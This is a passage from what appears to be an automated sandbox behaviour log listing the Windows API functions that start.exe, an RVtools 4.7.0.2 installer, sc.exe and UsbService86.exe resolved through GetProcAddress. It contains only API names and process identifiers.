"GetProcAddress" with a parameter RoInitialize (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter CreatePrivateNamespaceW (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter RoUninitialize (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter GetFullPathName (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter SetThreadErrorMode (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter GetFileAttributesEx (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter ShellExecuteEx (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter ShellExecuteExW (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter CoGetContextToken (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter CreateActCtxW (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter AddRefActCtx (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter ReleaseActCtx (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter ActivateActCtx (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter GetCurrentActCtx (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter QueryActCtxW (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00004460) "RVtools-4.7.0.2.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "GetProcAddress" with a parameter SetDefaultDllDirectories (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "GetProcAddress" with a parameter GetUserDefaultUILanguage (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "GetProcAddress" with a parameter NotifyWinEvent (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "GetProcAddress" with a parameter Exec (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "GetProcAddress" with a parameter IsWow64Process2 (UID: 00000000-00001196) "sc.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00008164) "sc.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00008164) "sc.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00008164) "sc.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00008164) "sc.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00008164) "sc.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00008164) "sc.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00008164) "sc.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00008164) "sc.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00008164) "sc.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00008164) "sc.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00008164) "sc.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00008164) "sc.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00008164) "sc.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00008164) "sc.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00008164) "sc.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00008164) "sc.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00008164) "sc.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00008164) "sc.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00008164) "sc.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00008164) "sc.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00008164) "sc.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00008164) "sc.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00008164) "sc.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00008164) "sc.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00008164) "sc.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00008164) "sc.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00008164) "sc.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00008164) "sc.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00008164) "sc.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00008164) "sc.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00008164) "sc.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00008164) "sc.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00008164) "sc.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00008164) "sc.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00008164) "sc.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00008164) "sc.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00008164) "sc.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00008164) "sc.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00008164) "sc.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00008164) "sc.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00008164) "sc.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00008164) "sc.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00008164) "sc.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00008164) "sc.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00008164) "sc.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00008164) "sc.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00008164) "sc.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00007268) "sc.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00007268) "sc.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00007268) "sc.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00007268) "sc.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00007268) "sc.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00007268) "sc.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00007268) "sc.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00007268) "sc.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00007268) "sc.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00007268) "sc.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00007268) "sc.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00007268) "sc.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00007268) "sc.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00007268) "sc.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00007268) "sc.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00007268) "sc.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00007268) "sc.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00007268) "sc.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00007268) "sc.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00007268) "sc.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00007268) "sc.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00007268) "sc.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00007268) "sc.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00007268) "sc.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00007268) "sc.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00007268) "sc.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00007268) "sc.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00007268) "sc.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00007268) "sc.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00007268) "sc.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00007268) "sc.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00007268) "sc.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00007268) "sc.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00007268) "sc.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00007268) "sc.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00007268) "sc.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00007268) "sc.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00007268) "sc.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00007268) "sc.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00007268) "sc.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00007268) "sc.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00007268) "sc.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00007268) "sc.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00007268) "sc.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00007268) "sc.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00007268) "sc.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00007268) "UsbService86.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter GetFileInformationByName (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter PyInit__bz2 (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter PyInit__lzma (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter PyInit__wmi (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter PyInit__cffi_backend (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter RegisterShimImplCallback (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter RegisterShimImplCleanupCallback (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter SetShellShimInstance (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter OnShimDllMainCalled (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter _CorDllMain_RetAddr (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter _CorDllMain (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter UrlIsW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter AppPolicyGetClrCompat (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter GetCurrentPackageInfo (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter GetCurrentPackagePath (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter pyclr_initialize (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter SetRuntimeInfo (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CorDllMainForThunk (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter QuirkIsEnabled3 (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter QuirkGetData2 (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter RtlVirtualUnwind (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter RoInitialize (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CreatePrivateNamespaceW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter GetTargetForVTableEntry (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry_RetAddr (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry_RetAddr (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter pyclr_create_appdomain (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter pyclr_get_function (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter GetFullPathName (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CompareStringOrdinal (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter CoInternetCreateSecurityManager (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter GetEnvironmentVariable (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00007744) "UsbService86.exe" called "GetProcAddress" with a parameter GetCurrentProcessId (UID: 00000000-00007744) "UsbService86.exe" called 